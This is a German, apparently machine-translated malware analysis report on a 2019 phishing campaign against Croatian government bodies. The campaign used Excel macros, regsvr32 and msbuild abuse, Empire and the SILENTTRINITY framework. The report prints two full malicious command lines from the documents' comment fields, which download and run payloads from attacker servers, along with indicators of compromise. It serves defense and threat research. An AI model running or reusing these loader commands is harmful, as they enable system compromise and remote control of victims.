IronPython auf der Seite des Bösen: Wie wir einen Cyberangriff auf öffentliche Dienste in einem europäischen Land aufgedeckt haben

Bild

Unsere Experten vom Expertensicherheitszentrum sind immer auf dem Laufenden und überwachen das Auftreten neuer interessanter und gefährlicher Bedrohungen. So wurde Anfang April 2019 ein gezielter Angriff auf die kroatische Regierung entdeckt. In diesem Bericht wurde die Kette der Malware-Übermittlung an den Computer des Opfers untersucht, Kompromissindikatoren vorgestellt und die Verwendung eines neuen postoperativen Frameworks festgestellt, das nach unseren Daten von Angreifern nie verwendet wurde.

Opferinfektion


Am 2. April 2019 entdeckten Experten des PT Expert Security Center bei einer routinemäßigen Überwachung verschiedener Ressourcen auf neue Malware ein ungewöhnliches Bürodokument.

Bild

Abbildung 1. Schädliches Dokument

Die Sendebenachrichtigung wurde in der MS Excel Office-Anwendung erstellt und einen Tag zuvor (2019-04-01 16:28:07 (UTC)) im alten XLS-Format gespeichert. Der verfügbare Zeitstempel in der Presse (2018-07-25 00:12:30 (UTC)) zeigt jedoch an, dass das Dokument bereits 2018 verwendet wurde. Wir werden auf dieses indirekte Symptom weiter unten zurückkommen.

Es ist bemerkenswert, dass das Feld "Kommentare" (das geändert werden kann, einschließlich der Verwendung der MS Excel-Anwendung) einen Befehl in der Windows-Shell enthält:

cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs 

Bild

Abbildung 2. Das Feld "Kommentare" mit verdächtigen Inhalten

Bild

Abbildung 3. Der Inhalt des Kommentarfelds in binärer Form

Als Ergebnis der Ausführung dieses Befehls erstellt das System ein Skript in der Sprache Visual Basic, das beim Start die folgenden Aktionen ausführt:

  • Verbinden einer Netzwerkressource mithilfe der WebDAV-Technologie
  • Laden Sie die Datei der nächsten Infektionsstufe mit dem legitimen Systemdienstprogramm regsvr32 herunter und führen Sie sie aus.

Wenn eine Netzwerkressource über HTTP (S) verbunden ist, wird eine NTLM-Anforderung an den Angreifer-Server gesendet, mit deren Hilfe der NTLM-Hash wiederhergestellt werden kann. Dann kann der empfangene Hash für die Autorisierung von Diensten im Namen des Opfers verwendet werden. Wir haben keine Spuren solcher Angriffe gefunden, und die Gründe für die Verbindung einer Netzwerkressource bleiben unklar.

Die Technik, regsvr32 (Verwalten von ActiveX-Steuerelementen) für böswillige Zwecke zu verwenden, ist nicht neu und hat sogar einen Namen - Squiblydoo. Angreifer verwenden es, um die Anforderungen zur Steuerung des Starts vertrauenswürdiger Programme zu erfüllen und die Antivirenerkennung zu umgehen.

Der Text im Feld "Kommentare" ist an sich harmlos und seine Ausführung muss irgendwie konditioniert sein. Wenn das Opfer das empfangene Excel-Dokument öffnet, wird eine Trap-Meldung in kroatischer Sprache angezeigt, in der Sie aufgefordert werden, Makros einzuschließen:

Bild

Abbildung 4. Trap-Nachricht nach dem Öffnen eines Dokuments

Wenn Makros zulässig sind, wird dem Benutzer eine gefälschte Paketbenachrichtigung mit dem kroatischen Postlogo angezeigt:

Bild

Abbildung 5. Falsche Paketbenachrichtigung

In der Zwischenzeit wird mithilfe der Makrotools das Skript für das Feld "Kommentare" ausgeführt und das im System erstellte Skript zum Start hinzugefügt:

Bild

Abbildung 6. Schlüsselmakrologik

Seltsamerweise wird das erstellte Skript nicht von einem Makro ausgelöst. Möglicherweise ist dies die Absicht des Angreifers: Die nächste Infektionsstufe tritt nach einem Neustart des Systems und der Benutzeranmeldung auf. Wir werden auf dieses Detail weiter unten zurückkommen.

Ein Teil des Szenarios ist auf seine eigene Weise interessant: Eine übersichtliche Codestruktur mit Formatierung, Einrückung und anderen Nuancen von Markups kann ein Zeichen für die Verwendung von Code von Drittanbietern und sogar für ein Programm sein, mit dem Sie solche Dokumente automatisch erstellen können.

Bild

Abbildung 7. Vermutlich geliehener Teil des Makros

Die Schlüsselwortsuche bietet viele ähnliche Codeteile auf verschiedenen Ressourcen. Wir neigen dazu zu glauben, dass der Hacker einfach den entsprechenden Programmcode gefunden und ein wenig optimiert hat, um die von ihm benötigten Aktionen auszuführen:

Bild

Abbildung 8. Beispiel eines ähnlichen Makros auf issuu.com

Bild

Abbildung 9. Ein Beispiel für ein ähnliches Makro auf stackoverflow.com

Bild

Abbildung 10. Beispiel eines ähnlichen Makros auf dummies.com

Kehren wir mit dem Dienstprogramm regsvr32 zur nächsten Infektionsstufe zurück. Wenn der Befehl ausgeführt wird, wird das Skriptlet update.sct in JavaScript vom Server des Angreifers heruntergeladen. Der Hauptteil des Skripts enthält Binärdaten, die vom Base64-Algorithmus codiert werden. Nach dem Dekodieren werden die empfangenen Daten deserialisiert und mithilfe der .NET Framework-Softwareplattform ausgeführt.

Bild

Abbildung 11. Das vom Server des Angreifers heruntergeladene Skript update.sct

Es ist erwähnenswert, dass dieser Code auch vom Angreifer auf einer der öffentlichen Ressourcen ausgeliehen wurde:

Bild

Abbildung 12. Ein Beispiel für einen ähnlichen Code in rastamouse.me

Bild

Abbildung 13. Ein Beispiel für einen ähnlichen Code auf github.com

Es scheint nicht, dass der Hacker die Logik der verwendeten Tools sorgfältig untersucht hat. Im betrachteten Scriptlet wird beispielsweise die Setversion-Funktion aufgerufen, die nichts bewirkt. Ein Beispiel, das im Internet verfügbar ist, sieht ebenfalls so aus.

Das entpackte und gestartete Objekt ist eine ausführbare PE-Datei auf der .NET-Plattform.

Bild

Abbildung 14. Der Header der ausführbaren PE-Datei

Bild

Abbildung 15. Debug-Informationen der SharpPick PE-Datei

Als Ergebnis der Kompilierung wurde der Pfad zum Projekt mit dem Quellcode beibehalten. Das Suffix -master gibt an, dass das Projekt zuvor aus dem Repository geklont wurde, und das SharpPick-Verzeichnis führt zu einer bekannten Anwendung, mit der Sie PowerShell-Code herunterladen und ausführen können, ohne den Sprachinterpreter direkt zu verwenden, aber .NET-Abhängigkeiten zu verwenden.
Trotz der Verfügbarkeit des SharpPick-Hilfsprojekts auf GitHub sollten Sie sicherstellen, dass keine wesentlichen Änderungen vorgenommen wurden.

Bild

Abbildung 16. Teil des dekompilierten SharpPick-Dienstprogrammcodes

Als Ergebnis der Dekompilierung wurde ein Pseudocode erhalten, bei dem er aus Base64 dekodiert und das PowerShell-Skript gestartet wird:

Bild

Abbildung 17. Teilweise konvertiertes PowerShell-Skript

Nach der Vereinfachung des Codes ist es nicht schwierig, seine Logik zu analysieren:

  • Es wird ein Objekt für die Interaktion mit dem Webserver mit den angegebenen User-Agent-, Cookie- und Proxy-Einstellungen erstellt.
  • Die Nutzdaten werden an der angegebenen Adresse geladen.
  • Das Ergebnis wird vom RC4-Algorithmus mit dem angegebenen Schlüssel entschlüsselt und gestartet.

Leider war der Verwaltungsserver während unserer Recherche bereits nicht verfügbar. Die Daten, die früher von ihm erhalten wurden, konnten wir nicht finden. Diesmal gibt es jedoch genügend Informationen im Web (Beispiel: Bericht unserer Kollegen von FireEye ), um eindeutig festzustellen: Das Endglied in dieser Infektionskette ist Empire Backdoor, ein Tool für die Remoteverwaltung des Computers des Opfers als Teil des postoperativen Frameworks von Empire Framework.

Bild

Abbildung 18. Verwenden eines ähnlichen PowerShell-Skripts zum Angreifen von Sicherheitslücken in WinRAR

Interessanterweise führen andere Skriptmuster zu einem ausführlichen Artikel über Penetrationstesttechniken mit besonderem Augenmerk darauf, die Infrastruktur von Angreifern hinter Proxyservern zu verbergen. Die wahrscheinlichste Informationsquelle, die der Angreifer verwendet, ist ein Artikel von Kollegen von Payatu Technologies, in dem sie detaillierte Anweisungen zum Umleiten von Sitzungen zu legitimen Ressourcen, zum Blockieren unerwünschter Pakete, zum Protokollieren usw. einschließlich der Verwendung von Empire enthalten.

Einige Stunden später fanden wir ein weiteres Dokument auf dem Paket. Es hat viele Ähnlichkeiten mit dem vorherigen: auch in Kroatien gefunden (2019-04-02 16:52:56 (UTC)), hat den gleichen Namen und sogar ein Fallenbild über das empfangene Paket. Trotzdem gibt es Unterschiede.

Der Schadcode befindet sich wieder im Feld "Kommentare", diesmal wurde jedoch die Logik der Aktionen geändert.

 cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\176.105.255.59\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\176.105.255.59\webdav\msbuild.xml" , 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs 

  • Die Netzwerkressource wird über das SMB-Protokoll verbunden.
  • Laden Sie die nächste Infektionsstufe herunter und starten Sie sie mit msbuild, einem legitimen Dienstprogramm des .NET Framework-Pakets.

Es ist interessant, dass die webdav-Zeile in der Adresse des bereitgestellten Verzeichnisses vorhanden ist und diesen Fall indirekt mit dem vorherigen verknüpft. Diesmal ist ein Angriff auf den NTLM-Hash weiterhin möglich, obwohl es keine Hinweise auf seine Verwendung gibt. Auch hier wird eine legitime Anwendung (diesmal msbuild) verwendet, um die Einschränkung beim Starten von Programmen von Drittanbietern erfolgreich zu umgehen. Bevor wir die Missbrauchstechnik beschreiben, erwähnen wir die Unterschiede im Programmcode des Makros eines neuen Dokuments.

Angreifer haben keine wesentlichen Änderungen an der Logik des VBA-Skripts vorgenommen. Es ist jedoch anzumerken, dass diesmal nicht nur das erstellte VBS-Skript automatisch in das System geladen, sondern auch beim Öffnen des Dokuments gestartet wird. Höchstwahrscheinlich haben die Angreifer im vorherigen Fall dies einfach vergessen und nach einiger Zeit, nachdem sie einen Fehler entdeckt hatten, diesen in der neuen Version des Dokuments korrigiert.

Bild

Abbildung 19. Vergleich des Makrocodes in zwei Dokumenten

Die nächste Infektionsstufe ist ein XML-Dokument, das C # -Code enthält. Mit einer Funktion des Dienstprogramms msbuild können Sie den enthaltenen Code im laufenden Betrieb kompilieren und ausführen, wie aus den Kommentaren hervorgeht, die der Hacker zu Beginn des Markups hinterlassen hat.

Der Base64-Puffer wird erneut im Code dargestellt, der dekodiert, vom Deflate-Algorithmus dekomprimiert und gestartet wird. Wir glauben, dass der Leser bereits erkennt, dass der Angreifer diesmal auch eine frei zugängliche Vorlage verwendet hat, wie aus den genannten Kommentaren und vielen Quellen im Web mit demselben Code hervorgeht.

Bild

Abbildung 20. Die vom Angreifer-Server heruntergeladene Aufgabe msbuild.xml

Infolgedessen wird diesmal eine PE-Datei auf der .NET-Plattform geladen und im Speicher ausgeführt. Die Debugging-Informationen enthalten nicht nur ein Zeichen dafür, dass das Projekt auf einer virtuellen Maschine erfasst wurde (möglicherweise, um Informationen über den Angreifer zu verbergen), sondern auch das SILENTTRINITY-Verzeichnis, auf das wir näher eingehen werden.

Bild

Abbildung 21. Debug-Informationen der SILENTTRINITY PE-Datei

Nachdem wir diese beiden Paketdokumente studiert hatten, fanden wir zwei weitere. Sowohl das Dateiformat als auch der Name und das Trap-Bild mit dem angegebenen Bereich blieben unverändert. Ende August 2018 lagen Dokumente vor, die die Hypothese über die Langfristigkeit der Kampagne bestätigen, über die wir zu Beginn des Berichts geschrieben haben.

Es ist merkwürdig, dass Hacker im letzten Jahr das Feld "Kommentare" nicht verwendet haben, aber legitime Dienstprogramme gestartet haben. Die schädliche Komponente wurde mithilfe des Dienstprogramms zum Arbeiten mit Zertifikaten und kryptografischen Zertifikatsvorgängen geladen, und der Start wurde von den WMI-Systemverwaltungstools bereitgestellt:

Bild

Abbildung 22. Vergleich der Dokumentmakros für 2018

Leider konnten wir nach der Einschränkung des Geschehens die nachfolgenden Glieder in der Angriffskette von 2018 nicht herstellen.

Es ist auch erwähnenswert, dass ein Teil des VBA-Skriptcodes unverändert blieb, mit Ausnahme der gelöschten Hilfskommentare, die die Logik der Arbeit erläutern.

Bild

Abbildung 23. Vergleich der Makros 2019 und 2018

SilentTrinity Framework


Suchergebnisse für das Schlüsselwort SILENTTRINITY aus den Debug-Informationen der PE-Datei können den Ursprung dieses Angriffslinks leicht bestimmen. Im Oktober 2018 veröffentlichte Marcello Salvati (ein Forscher bei Black Hills Information Security) ein Projekt namens SILENTTRINITY im beliebten GitHub-Repository. Die Hauptidee: die Flexibilität und die Vorteile des bekannten postoperativen PowerShell-Frameworks in der Python-Programmiersprache Python, nämlich IronPython, nutzen. Das Projekt entwickelt sich bis heute.

Wir werden uns nicht mit den Details der Arbeit und Umsetzung des Projekts befassen (zumal der Autor in seinem Bericht ausführlich darüber gesprochen hat). Wir werden nur die grundlegende Logik der Arbeit und interessante Punkte in der Implementierung hervorheben.

Nach dem Starten der PE-Datei (der Zwischenlink kann jedoch ein anderes Format haben) tritt Folgendes auf:

  • Zugriff auf den Verwaltungsserver zum Herunterladen des ZIP-Archivs mit den erforderlichen Abhängigkeiten und dem Python-Hauptskript;
  • Archivinhalte werden extrahiert, ohne auf der Festplatte gespeichert zu werden.
  • Abhängigkeiten werden für die erfolgreiche Verarbeitung von Python-Skripten registriert.
  • Das Python-Hauptskript wird gestartet und wartet auf die Aufgabe des Angreifers.
  • Jede Aufgabe wird als vorgefertigtes Python-Skript übertragen.
  • Die Aufgabe wird auf der Opferseite in einem separaten Thread ausgeführt.
  • Das Ergebnis der Arbeit wird zurück auf den Verwaltungsserver übertragen.

Bild

Abbildung 24. Betriebsdiagramm des SilentTrinity-Frameworks

Von den Funktionen ist Folgendes hervorzuheben:

  • Unterstützung für IronPython, einschließlich der Boo-Sprache (eine Teilmenge von IronPython mit starker Datentypisierung).
  • Für alle Aktivitäten ist kein Speicherplatz erforderlich: Abhängigkeiten, Skripts und Aufgaben befinden sich im Speicher (dateiloser Angriff).
  • Archiv mit Abhängigkeiten, Aufgaben, dem Ergebnis der Arbeit der Teams - die gesamte Kommunikation zwischen dem Opfer und dem Hacker wird mit dem AES-Algorithmus verschlüsselt.
  • Der gemeinsam genutzte Schlüssel wird vom Diffie-Hellman-Protokoll generiert.
  • Der Netzwerktransport wird auf der Ebene des HTTP (S) -Protokolls mit Proxy-Unterstützung bereitgestellt.

Bild

Abbildung 25. Beispiel für eine Benutzeroberfläche auf der Serverseite des SilentTrinity-Frameworks

Interessanterweise wurde der PE-Loader am Tag der Angriffe in den VirusTotal-Dienst hochgeladen, wo kein Antiviren-Anbieter ihn als bösartig identifizierte. Dies ist nicht überraschend: Erstens gelangt die Binärdatei nicht auf die Festplatte, und die Signaturerkennung ist wenig sinnvoll. Zweitens ist die statische Erkennung bei weitem nicht die einzige Technologie zum Schutz der Benutzer.

Bild

Abbildung 26. Ergebnis des SilentTrinity-Bootloader-Scans am Angriffstag

Darüber hinaus tauchten wenige Tage nach dem Angriff immer noch Entdeckungsurteile auf. Es ist wichtig, dass während der Angriffszeit entweder die Schutzausrüstung noch nicht mit Erkennungsalgorithmen ausgestattet war oder die Bedrohung im Prinzip nicht bekannt war.

Bild

Abbildung 27. Das aktuelle Scan-Ergebnis des SilentTrinity-Bootloaders

Dies war höchstwahrscheinlich der Grund für die Wahl dieser Lösung für die Durchführung von Angriffen. Wir haben keine Informationen darüber, dass das SilentTrinity-Framework bereits zuvor bei böswilligen Angriffen verwendet wurde.

Von Angreifern genutzte Infrastruktur

Es ist erwähnenswert, dass die von Hackern verwendete Netzwerkinfrastruktur chronologisch mit laufenden Angriffen zusammenhängt.



Tabelle 1. Informationen zu den Domänen, die als angreifende Server verwendet werden


Domänen wurden so erstellt, dass sie legitimen angegriffenen Ressourcen ähneln. Dadurch können Benutzer Vertrauen in Phishing-Angriffe gewinnen. Beachten Sie, dass die beteiligten Ressourcen nicht auf Kroatien beschränkt sind.

Alle Domains werden mithilfe der WhoisGuard-Sicherheitstechnologie registriert. Sie können die tatsächlichen Informationen über den Domain-Registranten ausblenden, um sich vor Spam zu schützen, während Angreifer diese Technologie zur Anonymisierung verwenden.

Server, die Malware vertreiben und verwalten, wurden vom niederländischen Anbieter Breezle geleast.

Alle verfügbaren Informationen zu den Knoten, Adressen und Domänen der Angreifer mit vielen Verbindungen untereinander ermöglichen es uns, die große Menge an Malware zu beurteilen, die die Angreifer diesmal hatten. Wir schließen nicht aus, dass in der Kampagne ähnliche Tools wie die in Betracht gezogenen verwendet werden könnten und einige Infektionsfälle ungelöst blieben.

Bild

Abbildung 28. Grafische Darstellung der Infrastruktur eines Angreifers

Fazit


Einen Tag nach der Entdeckung der Dokumente in den Nachrichten wurde eine Pressemitteilung mit einem Link zum kroatischen Ministerium für Sicherheit von Informationssystemen über gezielte Phishing-Angriffe veröffentlicht. Spuren wurden in mehreren Regierungsstellen des Landes gefunden. Es wird berichtet, dass E-Mails an die Opfer mit einem Link zu einer Phishing-Site gesendet wurden, von der vorgeschlagen wurde, ein schädliches Dokument herunterzuladen, von dem aus unsere Analyse begann. Dies füllt die fehlenden Glieder in der Angriffskette und am Ende möchten wir auf Schutzmethoden achten, die den Schaden durch solche Angriffe verringern können:

  • Überwachung und Kontrolle der Verwendung einiger vertrauenswürdiger Programme (certutil, regsvr32, msbuild, net, wmic ...)
  • Überprüfen und analysieren Sie nicht nur Anhänge in E-Mails, sondern auch Weblinks
  • Regelmäßige Scans des PC-Speichers in einem Unternehmensnetzwerk
  • Erfolgreiche Verbindungen zur C2 Silent Trinity (auch unter TLS) können mithilfe von PT Network Attack Discovery erkannt werden. Darüber hinaus haben wir in unserem Repository Erkennungen für die Community veröffentlicht.

Gepostet von Alexey Vishnyakov, Positive Technologies

PS Zu diesem Thema las der Autor auch einen Bericht an den Positive Hack Days 9. Das Video dieser und anderer Präsentationen ist verfügbar unter: www.phdays.com/en/broadcast/ .

Kompromissindikatoren:
0adb7204ce6bde667c5abd31e4dea164
13db33c83ee680e0a3b454228462e73f
78184cd55d192cdf6272527c62d2ff89
79e72899af1e50c18189340e4a1e46e0
831b08d0c650c8ae9ab8b4a10a199192
92530d1b546ddf2f0966bbe10771521f
c84b7c871bfcd346b3246364140cd60f
hxxps: //postahr.vip/page/1/update.sct
hxxps: //posteitaliane.live/owa/mail/archive.srf
hxxps: //konzum.win/bat3.txt
hxxp: //198.46.182.158/bat3.txt
hxxps: //176.105.255.59: 8089
[\\] 176.105.255.59 \ webdav \ msbuild.xml
postahr.online
176.105.254.52
93.170.105.32

Source: https://habr.com/ru/post/de458766/


All Articles